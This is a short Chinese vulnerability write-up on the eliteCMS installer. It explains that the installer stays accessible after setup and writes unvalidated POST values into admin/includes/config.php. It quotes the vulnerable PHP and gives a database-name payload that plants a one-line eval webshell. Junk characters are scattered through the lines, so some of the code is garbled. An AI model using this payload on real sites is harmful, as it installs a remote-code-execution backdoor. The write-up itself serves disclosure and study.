eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

* v/ R3 a' P/ O: _: h另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
( o9 L. D5 c2 u) b! {
% w: z+ e" ^- A7 I- G7 a...
elseif ($_GET['step'] == "4") {
( g% ~: s. u+ ^) T6 e    $file = "../admin/includes/config.php";
2 j2 S+ b3 f/ F    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
' o* \# y- S9 c5 c    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
' \- c4 @) V$ u' ^...略...
+ ?) v& W: u7 Y# v0 K6 f( ]6 H    $write .= "*\n";
% ^4 @! C$ I6 [4 _% S; e- ?    $write .= "*/\n";
: Q+ }1 @: A- ]% A6 O    $write .= "\n";
" z/ @/ G$ N. Y& m! L% S    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
  `9 ]9 v5 i+ K/ C1 m    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
) D! [3 e8 z- j; K1 {, m    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
# z/ u1 _! c; p: r    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
0 Y$ G1 s" \& W7 R6 r    $write .= "        die(\"Database select failed\" .mysql_error());\n";
* S0 C- ]7 K/ C0 \0 P* X. Z7 T    $write .= "        \n";
    $write .= "} \n";
' O1 p% F1 n0 u& w5 n( ~    $write .= "?>\n";
! S# A; W: w( m/ n
! k# @+ ]+ c8 Q' i3 @7 \* O    $writer = fopen($file, 'w');
...

在看代码：
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$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
4 O6 y  A4 [; v" y6 v( E7 ^$_SESSION['DB_USER'] = $_POST['DB_USER'];
0 c0 h' Y! Q- c5 {, a6 ?5 G3 z! f$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

$ Z2 x, w! K4 v7 P* i& c) M: K: u取值未作任何验证
: e( ^- {! ^  j% z) @" M/ J如果将数据库名POST数据：
& D5 \0 V6 b: ]0 T
"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
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